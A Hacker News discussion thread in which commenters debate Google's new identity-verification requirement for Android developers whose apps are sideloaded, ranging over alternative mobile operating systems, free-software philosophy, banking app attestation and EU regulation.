There's an Android app called GPSLogger.[1] It does exactly what it says on the tin. Runners use it to track their own progress. Photographers use it to geotag their own photos.

The thing is, GPS access as a permission is a bit scary. You could imagine some dubious uses for it. Moreover, you could imagine some such dubious uses creating a public relations nightmare for Google. So, Google just forces them out of the Play Store. (Technically, it's a routine renewal, but the GPS permission causes them extra scrutiny, to the point where the author burned out and gave up.[2])

Do we expect that this author should, or for that matter will, give their identity to Google after this? Or is GPSLogger just dead after this change lands?

[1]: https://gpslogger.app/ [2]: https://github.com/mendhak/gpslogger/issues/849

◧◩
1014. baq+yv1[view] [source] [discussion] 2025-08-26 06:06:21
>>medhir+Lg1
In the meantime, corporate is thinking about locking browsers down. Remember this? https://chromestatus.com/feature/5796524191121408

They’ll try again, with big business and governments cheering on them.

◧◩
1018. mithro+Yv1[view] [source] [discussion] 2025-08-26 06:10:40
>>mithro+uv1
Ok, it seems having GrapheneOS on phone would suffice [1]. 1. https://discuss.grapheneos.org/d/25235-google-wants-to-verif...
◧◩◪◨⬒
1023. trembo+6w1[view] [source] [discussion] 2025-08-26 06:12:59
>>chrono+Xe1
Jolla is trying to release a new model in 2026: https://forum.sailfishos.org/t/next-gen-jolla-phone/23882

If there's enough interest in US, then they may release it there, too.

◧◩
1028. nolist+mw1[view] [source] [discussion] 2025-08-26 06:16:09
>>876368+tk
Doesn't Windows have the same thing aka Code Signing?

https://www.electronforge.io/guides/code-signing/code-signin...

1029. zx8080+pw1[view] [source] 2025-08-26 06:16:32
>>kotaKa+(OP)
Is that after the top execs join the US Army? [0]

0: >>44330155

◧◩◪◨⬒⬓
1034. bayind+Aw1[view] [source] [discussion] 2025-08-26 06:17:36
>>protoc+Lu1
How about automated high/low beam switching or enabling the nominal power of your car instead of handicapping it by default?

If you agree that above are edge cases too, I have a Volkswagen to sell you [0].

[0]: https://www.youtube.com/watch?v=dQNeIcQXy74

◧◩◪◨⬒⬓⬔⧯
1041. bayind+2x1[view] [source] [discussion] 2025-08-26 06:22:10
>>Anthon+Zo1
Considering the same law is used to strike a 3 hour GPU documentary over a ~30 second clip, I think it serves to corporate pretty well.

GamersNexus' 3 hour documentary about GPU smuggling (which is way more than a vlog as HN commenters like to portray) is struck down by Bloomberg because they didn't want their 30 second clip, which is squarely fair use BTW, of POTUS speaking to be in that. GamersNexus repealed successfully, but Bloomberg tried to bully them [0].

[0]: https://www.youtube.com/watch?v=tUnRWh4xOCY

◧◩
1044. Hackbr+ex1[view] [source] [discussion] 2025-08-26 06:24:51
>>anonzz+Tv1
In fact, they need you to survive.

You can buy a Linux phone today and make sure the vendors get their food on the table. Software is getting better. If you choose a phone with mainline kernel support (e.g. one that can run Mobian or PureOS), you can literally watch your OS improve month after month.

Alternatively, you can support the user-space ecosystem directly and fund the developers who make it happen. Donate to Sebastian Krzyszkowiak [0] and Guido Günther [1] if you can!

[0]: https://liberapay.com/dos

[1]: https://honk.sigxcpu.org/piki/donations

◧◩
1048. raverb+xx1[view] [source] [discussion] 2025-08-26 06:26:55
>>throw1+oe1
They don't understand sideloading, but you know what they understand?

Weird apps that block your phone and show ads constantly (yes this exists)

Typosquatting apps

Apps that hold your phone for ransom if you don't pay a certain debt (yes this exists) https://www.welivesecurity.com/en/eset-research/beware-preda...

◧◩◪◨⬒
1087. conrad+jA1[view] [source] [discussion] 2025-08-26 06:50:34
>>rickde+Az1
Likely referring to EU Chat Control: https://brusselssignal.eu/2025/08/eu-chat-control-law-is-a-s...
◧◩◪◨⬒
1095. MrDres+JA1[view] [source] [discussion] 2025-08-26 06:56:07
>>myster+sz
GrapheneOS has offical support for hardware attestation[0].

It does require the developer to make minor adjustments, and most banks are simply too risk averse to agree to doing that (I would know, used to be a senior android app dev at a bank).

[0]: https://grapheneos.social/@GrapheneOS/115062761036828110

◧◩◪
1096. tgma+LA1[view] [source] [discussion] 2025-08-26 06:56:13
>>cedill+Kz1
I used to 100% feel the same, but at some point I realized the problem was me, not him, in not viscerally understanding his goals. His stated goals are very clear, but the audience usually has somewhat overlapping, but nevertheless distinct goals. This is indeed at the very core of Open Source-Free Software feud. The base is almost entirely the same people, yet the ideologies are not the same, and in a very interesting way: the differences are critical to RMS's ideology, but minute to the other side. Thus, the other side thinks of a crazy guy ruining the whole thing for nothing or very little, and evaluates him as net negative for "the cause." Well, it is absolutely true, for their cause, not his.

I think his take on what compromises are valid and what aren't makes this clear: https://www.gnu.org/philosophy/compromise.en.html

In fact, this particular incident, re Android, a seemingly "open" system, is a perfect example of the importance of his PoV in particular, as it illustrates that Open Source ideology would not have been enough to ensure the user is in control.

1098. cookie+dB1[view] [source] 2025-08-26 07:00:32
>>kotaKa+(OP)
I hate to break the news to Google, but this will likely be ruled illegal. The relevant German news of the court ruling that makes requiring a Google Account to use Google Services illegal:

https://www.zdfheute.de/wirtschaft/unternehmen/gmx-google-pl...

Rechtsprechung (court decision of LG Mainz, 22.08.2025, 12 HK O 32/24), text isn't published yet as of today:

https://dejure.org/dienste/vernetzung/rechtsprechung?Gericht...

If you search for the Aktenzeichen ("12 HK O 32/34") you'll find other news sources that confirm this.

◧◩◪◨
1109. auciss+3C1[view] [source] [discussion] 2025-08-26 07:07:26
>>Spliza+I61
Google play service integrity, before it was safety net.

Can’t be bypassed without root and otherwise all rom not official and validated by Google are on time watch.

https://android-developers.googleblog.com/2024/12/making-pla...

◧◩◪◨⬒
1129. fidelr+9E1[view] [source] [discussion] 2025-08-26 07:26:46
>>tedk-4+rB1
What about Coreboot/Libreboot?

https://www.coreboot.org/

https://libreboot.org/

◧◩◪
1136. munchl+LE1[view] [source] [discussion] 2025-08-26 07:31:37
>>BrenBa+zt1
It's easy to piss on the individual.

Ask yourself how come free software is everywhere, with licenses for various stuff neatly tucked away out of sight unless you're trying to find it, not to mention all the giant clusters of Linux machines in data centers running Samba, PostgreSQL, and all sorts of free software, and at the same time the FSF still has just a small appartment on the 5th floor of a building in Boston?

Here, take a look: https://www.fsf.org/about/contact/tour-2010

◧◩◪◨⬒⬓⬔
1140. jerbea+3F1[view] [source] [discussion] 2025-08-26 07:33:50
>>np1810+yw1
https://altstore.io is the big one. You might want the AltStore fork SideStore (you can do the weekly reinstall without a computer, https://sidestore.io). Other tools exist, like https://sideloadly.io and https://appdb.to.
1148. sunshi+0G1[view] [source] 2025-08-26 07:44:17
>>kotaKa+(OP)
We have 2 ecosystems for mobile and the worst case scenario is starting to be clear for Android.

I love GrapheneOS but they can only thrive if Google tolerate them. So in its current form, this is not a medium or long term solution (anymore).

We really cannot afford to think in terms of "Android OS" or open source OS anymore the problem is getting much bigger.

My guess is soon in many "free" countries, ISP will mandate connecting with a "Certified" device (someone was saying that in Brazil only cell phones certified by the teleco government agency can be imported already). And on mobile it is easy to implement since you need a (e)SIM. The Internet is still hard to control at the protocol level, but the gates are easy to mostly control (your ISP).

In terms of mobile computing I mostly care about being able to access my home network from the places I am 80% of the time (and I can always bridge to the Internet from there). So the real battle is really at the mesh and multi-hop mobile ad hoc networks. This is the aspect we neglected for 25 years.

Regarding mobile, the battle for Android is lost, time to look into things like B.A.T.M.A.N [0] so we be able to keep another open source mobile platform useful.

For anything "money" related, your bank (which is inevitably regulated) will have to mandate a certified device too. It will work on (some) Linux too.

Ever wondered why for example the Fedora project [1] is proudly part of things like The Digital Public Goods Alliance [2] who works with many govs and if you really look into it they are all about digital ids and "restoring trust"?

- [0] https://www.open-mesh.org/projects/open-mesh/wiki

- [1] https://fedoraproject.org/

- [2] https://www.digitalpublicgoods.net/

◧◩
1165. Garden+HH1[view] [source] [discussion] 2025-08-26 07:58:20
>>medhir+Lg1
Reminds of RMS's The Right To Read - http://mat.puc-rio.br/~nicolau/stallmann/tycho10h.html
◧◩◪◨⬒⬓⬔
1180. jlokie+gI1[view] [source] [discussion] 2025-08-26 08:03:31
>>pabs3+hm1
Having read [1] in particular, I think you're right and I was mistaken. Thanks! That's quite eye-opening for me, as I followed discussion about GPLv2 and GPLv3 for years yet didn't know about this view of GPLv2 and reinstallation.

Having heard so much about anti-Tivoization when the GPLv3 was being drafted, and the discussions about it on linux-kernel when Linus decided the kernel will remain GPLv2-only, I was left with the impression that the GPLv2 only required the provision of source code, build scripts, etc. but not the ability to reinstall a new version. [1] makes a pretty good case that the ability to reinstall is also required GPLv2, and I'm heartened that's how Tivo saw it too.

[1] https://sfconservancy.org/blog/2021/jul/23/tivoization-and-t...

◧◩◪◨
1217. windwa+qK1[view] [source] [discussion] 2025-08-26 08:18:59
>>munchl+LE1
They don't work there any more.

https://www.fsf.org/about/contact/

>As of September 1, 2024, we have gone remote and no longer have an office for people to visit.

IIRC they moved somewhere else in the interim.

◧◩◪◨⬒
1224. Goblin+bL1[view] [source] [discussion] 2025-08-26 08:24:37
>>Gigach+tI1
https://sideloadly.io
◧◩
1270. Cianti+iO1[view] [source] [discussion] 2025-08-26 08:50:25
>>silver+5M1
I hope something like SailfishOS [1] could take off. They do have Android support, and maybe even by pressure, they could get banking apps working in the EU via that.

[1]: https://sailfishos.org/

◧◩◪◨⬒⬓⬔
1336. jech+oS1[view] [source] [discussion] 2025-08-26 09:31:32
>>UncleM+8v1
> "Pop up a permission prompt every single time an app links out to a browser" is not going to be a thing that users like.

Calculator.apk wants to open the web page https://eviltracker.example.com. Allow this time? Allow for 24 hours? Allow and don't ask me again?

1383. nexawa+zV1[view] [source] 2025-08-26 09:59:56
>>kotaKa+(OP)
I don’t have data to support this, but I believe the smartphone is the most widely used device globally on a daily basis. Wouldn’t it make sense to have an Open Hardware Phone and Mobile OS built on an open specification to rival Google’s Android?

What’s stopping us from making this a reality? We have passionate FOSS developers and visionary leaders capable of championing this cause and building a strong community around it.

I had high hopes for Marc Shuttleworth’s Ubuntu Phone. Unfortunately, after the Kickstarter campaign fell through, development stalled. I still believe consumers missed out on a remarkable piece of technology.

That said, I see Ubuntu Touch[1] is still active, though I’m unclear on its current impact or progress. Meanwhile, Smart TVs and smartphones continue to be dominated by Google’s Android OS.

1. https://www.ubuntu-touch.io/

◧◩
1389. Cianti+6W1[view] [source] [discussion] 2025-08-26 10:04:39
>>nexawa+zV1
There is also https://sailfishos.org/ and they've got hardware too.

FOSS/Linux has had many attempts at phones, but they need one good leader to do it, which is very hard unless someone with name recognition gets everyone to work on one project.

◧◩◪◨⬒
1399. walter+YW1[view] [source] [discussion] 2025-08-26 10:12:58
>>rpdill+A81
Sailfish supports a few Sony Xperia phones, https://docs.sailfishos.org/Support/Supported_Devices/
◧◩◪◨⬒
1419. tgma+nY1[view] [source] [discussion] 2025-08-26 10:26:05
>>BrenBa+YR1
Yes, in a way FSF has succeeded beyond their wildest imagination and they are facing a new world with new challenges.

> The problem includes the actual control of how services are provided.

FSF has opinions about SaaS which they call SaaSS (Service as a Software Substitute).

https://www.gnu.org/philosophy/who-does-that-server-really-s...

◧◩◪◨
1447. thenic+I02[view] [source] [discussion] 2025-08-26 10:43:25
>>jadams+iV
This was not Google's decision, it was forced on them by the EU under their Digital Services Act:

https://9to5mac.com/2024/10/17/developers-address-phone-numb...

The same thing was applied to the Apple store at the same time.

1459. egeres+w12[view] [source] 2025-08-26 10:51:14
>>kotaKa+(OP)
Will it be possible to bypass this limitation for users with rooted devices? If that were the case then I guess that would add more weight to companies who provide firmware and OEM unlocking for android devices: https://github.com/melontini/bootloader-unlock-wall-of-shame
◧◩◪◨⬒
1464. Wowfun+V12[view] [source] [discussion] 2025-08-26 10:53:56
>>bambax+lI1
I've been using an old OS as my daily driver for five years now[1]. You absolutely can do it, but it's a lot of work!

1: https://mavericksforever.com/

◧◩◪◨
1504. ZiiS+Z42[view] [source] [discussion] 2025-08-26 11:20:38
>>SlowTa+2I1
https://github.com/x653/xv6-riscv-fpga is a fully open RISC-V core, using fully open tools written to tiny FPGA. It betters 386 performance, is practical for an individual to recreate, and it is almost inconceivable that the underlying hardware could have compromised this usage. If your security posture cares about ME et al. you also shouldn't be running any form of speculation, so 'modern' performance would be off the table even if you bought Nvidia and TSMC. I would more judge a concerted effort comparable to larger open source projects could design verifiable hardware for processes that it readily available to crowdfunded projects that are more efficient and performant then anything released in the previous millennium.
◧◩◪◨⬒
1522. mkup+R62[view] [source] [discussion] 2025-08-26 11:38:23
>>bambax+lI1
I maintain a software to aid in installation of Windows 7 to new PCs (FlashBoot Pro): https://www.prime-expert.com/flashboot/ . Recently there was a reduction in sales. You are welcome.
1528. redbel+p72[view] [source] 2025-08-26 11:42:29
>>kotaKa+(OP)
Oh, no! This is the least thing I expected to see as the #1 in Hacker News' front page!

This is a plot twist I never thought it would happen. While the EU [1], Japan [2] , UK [3] and Australia [4] are in the process of forcing Apple to allow sideloading and alternative App Stores, Google, which was far from these obligations, had taken a totally unexpected road to limit/control how sideloading should work.

____________________

1.https://developer.apple.com/support/dma-and-apps-in-the-eu/

2.https://www.phonearena.com/news/the-world-is-changing-japan-...

3.https://www.videogameschronicle.com/news/uk-passes-bill-whic...

4.https://www.theguardian.com/technology/2025/jun/06/australia...

◧◩◪◨⬒
1538. ajsnig+X72[view] [source] [discussion] 2025-08-26 11:45:11
>>Gigach+4I1
So what?

Those same users can now install facebook, and facebook does this: https://medium.com/@ak123aryan/facebooks-hidden-android-trac...

And facebook is and will be verified in the future too.

◧◩◪◨⬒⬓⬔
1635. someon+8k2[view] [source] [discussion] 2025-08-26 13:03:33
>>safety+aV1
> I don't live in the US, but there is nothing in the Constitution, nor in federal law, guaranteeing that you have the right to use cash.

They have the right to use cash, even if the vendor chooses not to accept it.

I learned this by trying to pay a fine with coins, which are NOT legal tender like cash is.

https://en.m.wikipedia.org/wiki/Legal_tender

> Each jurisdiction determines what is legal tender, but essentially it is anything which, when offered ("tendered") in payment of a debt, extinguishes the debt. There is no obligation on the creditor to accept the tendered payment, but the act of tendering the payment in legal tender discharges the debt.

◧◩◪◨⬒⬓
1647. csande+4m2[view] [source] [discussion] 2025-08-26 13:13:59
>>jbstac+DL1
I'm pretty sure "Google-certified" is just the latest term for "has signed a contract to ship the proprietary Google parts of Android". (Google's blog post about this change links to a page which calls it "Play Protect certified", and this page says that all devices that ship Google apps are Play Protect Certified: https://support.google.com/android/answer/7165974?hl=en )

Amazon's "Kindle" tablets and TV devices famously do not ship Google apps, and sometimes you see restricted devices like the Rabbit R1 that just use the open-source parts of Android. But outside of China I don't think you can easily walk into a store and find a non-Google Android phone.

I don't think phones ever officially lapse out of Play Protect certified status -- the Nexus One, a phone from 2010, is still listed -- but presumably it'd be possible to find a phone old enough that it won't be able to download whatever Play Services OTA update they'll use to push this change.

◧◩◪◨
1666. rpdill+Dp2[view] [source] [discussion] 2025-08-26 13:31:38
>>Gigach+yH1
> Stallmans usage of free software is exactly the same as the rest of the worlds open source.

Not at all, that's why there are separate terms! GNU has an article that's worth reading: https://www.gnu.org/philosophy/open-source-misses-the-point....

I'll point out a very practical case. I was once-upon-a-time interested in Nostr, because I liked the relay idea. I looked for a client, and found one called Amethyst. When I installed it, I saw the author had inserted a pop-up on load that had me agreeing to his "Terms and Conditions" for using "the service". But the author had no service...he was worried about his liability if I posted something. Stallman saw this coming! From the article above:

> Third, the criteria for open source are concerned solely with the use of the source code. Indeed, almost all the items in the Open Source Definition are formulated as conditions on the software's source license rather than on what users are free to do. However, people often describe an executable as “open source,” because its source code is available that way. That causes confusion in paradoxical situations where the source code is open source (and free) but the executable itself is nonfree.

> The trivial case of this paradox is when a program's source code carries a weak free license, one without copyleft, but its executables carry additional nonfree conditions. Supposing the executables correspond exactly to the released sources—which may or may not be so—users can compile the source code to make and distribute free executables. That's why this case is trivial; it is no grave problem.

And this is _exactly_ the argument the author of Amethyst makes, check out how he reasons through the additional restrictions: https://github.com/vitorpamplona/amethyst/issues/378

His reasoning is squarely in this weird zone the Stallman wrote about:

> I am confused. Why are we mixing the license with the terms of use? These two files are separate legal matters. The Privacy is used by the Play Store to manage the distribution of the executables. The MIT license relates to the source code only.

> In other words, the MIT license removes any author liability from the misuse of the code. But when the author is also providing the system as binaries (which is an additional service in every jurisdiction I know of), there are many other legal issues that the source code license won't cover.

> And I don't know about you, but I am not comfortable allowing people to use the Play Store version or the FDroid version for these activities written in the Privacy statement. Most of them are local crimes that should not happen anyway.

> This has nothing to do with the source code license, which people can still download, compile and use in nefarious ways.

Anyway, my point is, in practice, there's a million ways to water down "open source" to remove user freedoms, and the value of Free Software is that it keeps the focus in the right place to avoid falling victim to those tricks.

◧◩
1679. miohta+Oq2[view] [source] [discussion] 2025-08-26 13:37:32
>>arielc+542
The EU is planning to make Play Store de facto mandatory, so no more Graphene in the EU

https://www.androidheadlines.com/2025/07/eu-age-verification...

◧◩◪◨⬒⬓
1727. jeffhu+Hx2[view] [source] [discussion] 2025-08-26 14:08:39
>>jcdent+8u1
Unless: https://old.reddit.com/r/sideloaded/comments/1debdgh/guide_h...
◧◩◪◨
1729. 15155+8y2[view] [source] [discussion] 2025-08-26 14:10:35
>>baxuz+6v2
https://support.google.com/faqs/answer/6151275
1741. cwillu+lA2[view] [source] 2025-08-26 14:22:42
>>kotaKa+(OP)
Just going to leave this here for the canadians: https://competition-bureau.canada.ca/en/contact-competition-...
◧◩
1814. KETpXD+sI2[view] [source] [discussion] 2025-08-26 14:56:14
>>arielc+542
It seems most banking apps do work: https://privsec.dev/posts/android/banking-applications-compa...
1851. JCGora+AP2[view] [source] 2025-08-26 15:27:02
>>kotaKa+(OP)
As someone who never comments on HN, I would like to voice my absolute disapproval of this new policy. As these decisions are not made in a vacuum, I have no doubt the recent developments in the political landscape have contributed to this decision (e.g. UK Online "Safety" Act, EU Chat Control, EU Age Verification solution, probably others). Coupled with the recent "mandatory" (read: forced) upgrade of my Pixel 4a, I get the impression Google's attitude towards phones has become equivalent to Apple's: namely, the illusion of choice.

Since there are no viable alternatives, I guess it's time to go back to owning a cheap corporate/government approved phone for official business (i.e. banking), and another one that I actually use.

As an aside, the presentation[0] doesn't really go into the details how they will enforce this (on-device? Remotely? If the latter, can I just remove Play Services from my device to sideload whatever?), but you can apparently submit feedback about the verification process here[1].

[0]: https://goo.gle/play-console-android-developer-verification [1]: https://docs.google.com/forms/d/e/1FAIpQLSdpZbsJCS-f7CtMbZPn...

◧◩◪◨
1859. pxoe+uR2[view] [source] [discussion] 2025-08-26 15:37:21
>>can163+Rr
>can? would?

They literally already do? https://f-droid.org/docs/Signing_Process/

◧◩◪◨⬒⬓
1883. goku12+4W2[view] [source] [discussion] 2025-08-26 15:56:52
>>SlowTa+jJ1
> Vegan was forked to Plant based diet

That's news to me! But no. Open source philosophy isn't free software stripped of its ethics question. I have written an essay/article/novel/epic here: >>45027202

◧◩
1886. Teknom+oW2[view] [source] [discussion] 2025-08-26 15:58:26
>>Roark6+ot2
Interesting. I've never really thought much about Samsung phones because I always felt that they were really full of bloatware and features that seemed to distract more than present usefulness.

Knox sounds like a pretty awesome feature though.

I use `nix-on-droid` on a Pixel 9 running stock Android 16. It provides me with a nix shell that gives me ZSH, Starship prompt, NeoVim, w3m, ssh, alpine, Claude-code, Circumflex (TUI HackerNews Client) and just about anything else I want from the Nix packages ecosystem. I even have NUR ( Nix User Repositories) set up. I daily drive NixOS for work and for Pleasure. It's the most advanced operating system I've ever encountered. I can't wax enough praise.

The closest thing to a truly open source, fully functional and daily used mobile that I ever had was the Nokia N900. Man how I miss that thing. Maemo was Nokia's original Linux-based mobile OS, which ran on the N900/950.

MeeGo was created when Nokia merged Maemo with Intel's Moblin project around 2010. It was supposed to be the future of Nokia smartphones, but Nokia abandoned it in 2011 when they switched to Windows Phone as their primary smartphone platform. Idiots.

Mer was created as an open-source continuation of MeeGo after Nokia dropped it.

Sailfish OS was then built on top of Mer by Jolla, a company founded by former Nokia employees who had worked on MeeGo.

Jolla launched in 2013 with the goal of continuing the Linux mobile vision that Nokia had abandoned. They make phones and tablets.

https://jolla.com/

◧◩◪◨⬒⬓⬔⧯▣▦▧▨
1946. Shroud+083[view] [source] [discussion] 2025-08-26 16:45:21
>>mike_h+fL2
The SMS stuff seems like theatre when SS7[1] has been known to need a nuclear-powered auto bailer for how porous it is.

[1] https://en.wikipedia.org/wiki/Signalling_System_No._7

◧◩◪◨⬒⬓
1959. tadfis+sc3[view] [source] [discussion] 2025-08-26 17:03:29
>>rateli+FB2
You're thinking of Google's attempt to port Play Integrity/Safetynet to the Web [0]. Nothing to do with Manifest V3, IIUC.

[0]: https://en.wikipedia.org/wiki/Web_Environment_Integrity

◧◩
1961. hbn+Oc3[view] [source] [discussion] 2025-08-26 17:05:21
>>seanw4+1K
> Makes sense why they had to get rid of the "don't be evil" motto.

I hate how this always gets brought up because:

1. Evil has no definition, so it means nothing. They get to define what evil is for themselves. They stated their reasons they think this change is good. You can't prove it breaks their code of conduct.

2. It's straight up false, it's still in their code of conduct:

> And remember... don’t be evil, and if you see something that you think isn’t right – speak up!

https://abc.xyz/investor/google-code-of-conduct/

◧◩◪◨⬒
1966. ranger+Vd3[view] [source] [discussion] 2025-08-26 17:09:38
>>niutec+Xc2
I would argue that SMS is horribly insecure and should never be used for authentication.

https://workos.com/blog/why-sms-mfa-is-insecure

1990. e12e+hj3[view] [source] 2025-08-26 17:36:24
>>kotaKa+(OP)
A little reminder about the GNU definition of free software and the four freedoms:

https://www.gnu.org/philosophy/free-sw.html#four-freedoms

Quote below:

The four essential freedoms

A program is free software if the program's users have the four essential freedoms: [1]

    The freedom to run the program as you wish, for any purpose (freedom 0).
    The freedom to study how the program works, and change it so it does your computing as you wish (freedom 1). Access to the source code is a precondition for this.
    The freedom to redistribute copies so you can help others (freedom 2).
    The freedom to distribute copies of your modified versions to others (freedom 3). By doing this you can give the whole community a chance to benefit from your changes. Access to the source code is a precondition for this.
◧◩◪◨⬒⬓
2020. fsflov+7A3[view] [source] [discussion] 2025-08-26 19:04:54
>>afandi+x73
> Then we can can go back to treating phones as computers. Right?

>>19328085

◧◩◪
2028. sumtec+6D3[view] [source] [discussion] 2025-08-26 19:20:05
>>_heimd+Cj1
The thing is most people do not want to mess with computers. They are terrified they are going to break them. Frankly they are not wrong. I spent yesterday just trying to get a div tag to flow correctly with all the objects around it, a whole day down the drain. I have a pretty good idea what I am doing. However, for others these things we call computers are inscrutable devices that just 'decide' to do something wrong. We have built this https://xkcd.com/2347/ and expect everyone to be cool with it. Most people most certainly are not, and are willing to give away whatever just to make it easier to use, and not randomly screw up. Apple and Google can take whatever they gave away now because well most people really do not care. The rest of us can pound sand for all they care. We effectively have a duopoly and they are acting exactly in the manor of that.
◧◩◪◨⬒
2060. dmbche+6W3[view] [source] [discussion] 2025-08-26 20:50:43
>>umbra0+Zk3
https://www.independent.co.uk/news/world/americas/columbia-d...

A simple google search away.

◧◩◪◨
2081. godels+E64[view] [source] [discussion] 2025-08-26 21:54:08
>>Yaina+aC2

  > I could see that this is also an issue for scam apps.
I don't deny that it can be used to reduce scams, but I think there are far better ways to solve this that don't give authoritarian countries extra powers. Thing is, signing doesn't actually address the problem. It is a way to track the problem, not prevent the problem. Don't confuse the two.

  > Firefox for instance does not allow you to install unsigned extensions.
That's absolutely not true[0]. You need to sign the extension to publish it to their app store but you don't need it to install. Btw, the Playstore already does this too. Which I'm totally okay with!

[0] https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/Web...

  For other people to use your extension, you need ***to package it and submit it to Mozilla*** for signing.
◧◩
2113. 1vuio0+qF4[view] [source] [discussion] 2025-08-27 02:56:20
>>arielc+542
Alas, no distinction is made between (a) a computer owner that wants to write software to run on their computer versus (b) an "app developer" who wants to write "mobile apps" and distribute them to others for financial gain

The computer owner in (a) is not creating "malware". Any arguments that "verification" is for the protection of users (not commercial benefit of Google) are inapplicable in (a). Unlike the software in (b) the software in (a) only runs on the computer owner's computer, not anyone else's computer. There is no need in the case of (a) for Google to know about what software is running on the computer owner's computer.^1 Surely Google would agree there is no need, i.e., no right, for a computer owner seeking "verification" to know what software is running on Google's computers or the identities of Google employees.

1. None that outweighs the owner's right to privacy. Microsoft, Apple and Google all use _default_ telemetry

https://gist.github.com/alirobe/7f3b34ad89a159e6daa1

https://github.com/cedws/apple-telemetry

https://apple.stackexchange.com/questions/437068/eliminating...

https://therecord.media/google-collects-20-times-more-teleme...

◧◩◪◨⬒
2134. kassne+i05[view] [source] [discussion] 2025-08-27 06:55:11
>>buyucu+6O2
From a quick search:

https://www.theregister.com/2025/08/26/apps_android_malware/

https://arstechnica.com/security/2024/09/11-million-devices-...

https://www.cpomagazine.com/cyber-security/over-300-maliciou...

Not sure which numbers you are expecting, but 90 million downloads combined isn’t insignificant.

◧◩◪◨⬒
2144. Yaina+n75[view] [source] [discussion] 2025-08-27 07:56:29
>>godels+E64
It is true, and what you quoted does not contradict this.

https://extensionworkshop.com/documentation/publish/signing-...

You can temporarily install extensions in about:debugging, but everything permanent needs to be signed.

> Add-ons need to be signed before they can be installed into release and beta versions of Firefox. This signing process takes place through addons.mozilla.org (AMO), whether you choose to distribute your add-on through AMO or to do it yourself.

◧◩
2158. frm88+Qw5[view] [source] [discussion] 2025-08-27 11:41:09
>>sebast+5G
Personally, I fear addressing this issue to Google is wasted effort, since they "only" try to establish what Apple already has in place. Both mega-corps being in the U. S. (plus Trump threatening all countries that try to regulate U. S. technology yesterday) makes any appeal somewhat void.

That means, we have to do it ourselves. The first thing we can do is write to our MEPs. All of them. Thankfully, x775 has made a website in protest to the EU chat control law that makes find your MEPS E-mail addresses really easy, so maybe we can just take advantage of their work and use it to frame our own request. The relevant HN post is here: >>44858504

Could this be a way forward???

◧◩◪◨⬒
2163. js8+mC5[view] [source] [discussion] 2025-08-27 12:15:55
>>umbra0+Zk3
Another good source: https://www.nytimes.com/2025/03/27/us/students-trump-ice-det...
◧◩◪
2172. frm88+IP5[view] [source] [discussion] 2025-08-27 13:33:06
>>sunaoo+bG
I wouldn't be so sure. The DMA is very much against gatekeeping and a couple of days ago Google lost in court to 1&1 (in Germany) regarding keeping Android users in a walled garden [0]. This is in appeal now. We'll see.

[0] https://www.zdfheute.de/wirtschaft/unternehmen/gmx-google-pl... in German, I'm afraid

◧◩◪◨
2183. godels+tt6[view] [source] [discussion] 2025-08-27 16:38:53
>>DobarD+P22
Sorry, I replied to a sibling comment that was nearly identical[0]. Luck(?) would have it, said other problem was made more explicit[1]

[0] >>45033035

[1] >>45035699

2209. native+2s8[view] [source] 2025-08-28 07:41:12
>>kotaKa+(OP)
A fellow developer started a petition to stop Google from limiting app installation on Android devices unless developers provide personal identity documents.

Even though Google has not revoked similar controversial policies in the past, we do our best as much as we can. This change particularly threatens the freedom to build, share, and use software without giving away sensitive personal information. It affects independent developers, FOSS contributors, and even regular users who want to install apps outside of Google Play.

"Just imagine giving sensitive personal, government-issued ID to a corporation to install an app outside Google Play"

Let’s stand together to protect our freedom to create and use software without handing over personal information to a corporation. Every signature, share, and voice counts here

Support the petition here: https://chng.it/tyHZjstxWQ

◧◩◪◨⬒⬓⬔
2212. avar+FD8[view] [source] [discussion] 2025-08-28 09:39:57
>>pjmlp+ZI2

    > I really would like to have been payed
    > to use Windows phones
I meant paid in the indirect sense of being the beneficiary of a loss leader for Microsoft.

I.e. I'm poking holes in your (somewhat unstated) premise that they'd already reached around 10% of marketshare, and could have just organically grown from there. As reporting at the time shows[1] the average selling price of these phones was €72.4.

So Microsoft (Nokia, but we all know who was really running/paying for the show) were spending a lot of money to buy themselves into the market, and just barely holding on to double digit market share for a bit there by subsidizing entry level phones.

1. https://www.theguardian.com/technology/2013/oct/01/microsoft...

◧◩◪◨⬒⬓⬔⧯▣▦▧▨◲◳
2215. ulrikr+XT8[view] [source] [discussion] 2025-08-28 12:17:26
>>mike_h+Kz8
By TOTP I mean a hardware token using the TOTP algorithm to generate a nonce, like the second option on this page: https://www.mitid.dk/en-gb/get-started-with-mitid/how-to-use...

I thought that was what you meant too? If you mean TOTP via a QR code exposing the secret, then of course I agree, no banks allow that. But your comment read as a claim that all TOTP solutions were inherently deemed insecure and wouldn't work, and that smartphone based solutions were the only viable alternative outside the US. The code display is of course vulnerable to man-in-the-middle attacks where you trick users into authorizing transactions via fake web pages, but it is not a threat that is deemed serious enough to prevent our whole country from basing our digital infrastructure on code displays.

I think people get hung up on your point about banks not accepting browsers because you don't formulate your point very clearly, and it reads like you claim that they don't accept browsers at all when what you mean is just a browser and nothing else. Most European banks do in fact allow you to do business using a browser - you just have to prove your identity via other means as well. And there are no good security arguments why those means must be in the form of a smartphone app whose security requirements have the side effect of locking you into a business relationship with one of two American tech giants. As you can see, a whole country of almost six million people authenticates everything from bank transactions to naming their kids and buying houses using a system which allows you to use just a code display.

I think the strategy of remote attestation of the whole OS stack up to and including the window manager is a clunky and inelegant approach from an engineering perspective, and from a freedom perspective I think it is immoral and should be illegal. What I could accept would be an on-phone security module with locked down firmware which can simply take control of the whole screen regardless of what the OS is doing, with a clear indicator of when it is active. This allows you to authorize transactions and inspect their contents, and only needs remote attestation of the security module, not the whole OS.

◧◩◪
2219. fsflov+ie9[view] [source] [discussion] 2025-08-28 14:20:56
>>827a+DS2
> but Stallman is an extremest

No, he isn't, >>45025116

◧◩
2222. fsflov+zi9[view] [source] [discussion] 2025-08-28 14:40:28
>>seanw4+1K
> There's no reason a competitive Linux-based smartphone can't exist

And it does exist: https://en.wikipedia.org/wiki/Librem_5

◧◩◪◨⬒⬓⬔⧯▣▦▧▨◲◳⚿
2233. mike_h+wyb[view] [source] [discussion] 2025-08-29 08:05:04
>>ulrikr+XT8
From digging in a bit, it sounds like originally MitID was meant to be app only and it was only after pressure from a lobbying group that they relented and allowed a TOTP token.

https://www.dr.dk/nyheder/seneste/mitid-kan-digitalt-udelukk...

So my guess is that this is not because they think TOTP is secure enough but rather due to the political aspects of it being centrally run by the government.

